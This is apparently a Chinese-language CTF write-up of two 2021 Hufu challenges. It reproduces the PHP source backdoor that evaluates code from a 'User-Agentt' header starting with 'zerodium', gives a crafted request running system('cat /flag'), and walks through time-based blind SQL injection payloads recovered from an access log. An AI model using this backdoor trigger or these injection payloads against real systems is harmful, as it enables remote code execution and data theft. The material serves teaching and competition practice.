【WP】2021虎符

签到

原理

原型为PHP官方GIT服务器近日被植入的后门。

zval *enc;

// 检测user_agentt
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER")))&&
    
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {

convert_to_string(enc);

if (strstr(Z_STRVAL_P(enc), "zerodium")) {

zend_try {
//截取第八位后的内容用zend_eval_string 执行
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

} zend_end_try;

}

首先，后门程序会检测http头是否含有User-Agentt(不是User-Agent，多了一个t)。

如果存在，判断它的值是否含有zerodium字符串，作为触发后门的“口令”。

如果标示存在，从User-Agentt值的第8个字节起到结尾提取字符串作为代码（前8个字符为zerodium），进行编译执行，如同eval函数效果。

构造

抓包改报文

GET / HTTP/1.1
Host: eci-2zegxwtddgwgj267ti56.cloudeci1.ichunqiu.com
User-Agentt: zerodiumsystem('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1597982362; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1597982362; PHPSESSID=bbeb97cf2c126865a9d0588dfe5d77fa; __jsluid_h=add1ff4ab595b6a8aa74476020036bea
Upgrade-Insecure-Requests: 1

得到flag

你会日志分析吗

这份access.log包含盲注执行过程的请求记录

盲注payload

id=1'%20and%20if(ord(substr((select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%20'web1'),0,1))=48,sleep(2),1)--+

经过分析发现该脚本是跑固定字典，且在终止条件为将字典跑过一遍，而不是间隔时间大于2

所以只需要找到服务器接收时间间隔大于二的前一项即可。

192.168.52.156 - - [11/Mar/2021:17:58:42 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%20'web1'),6,1))=103,sleep(2),1)--+ HTTP/1.1" 200 377 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:58:44 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%20'web1'),6,1))=104,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"

结果

90 109 120 104 90 
51 116 90 98 51 
86 102 89 88 74 
108 88 51 78 118 
88 50 100 121 90 
87 70 48 102 81 
61 61 
ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==

base64解码即可得到flag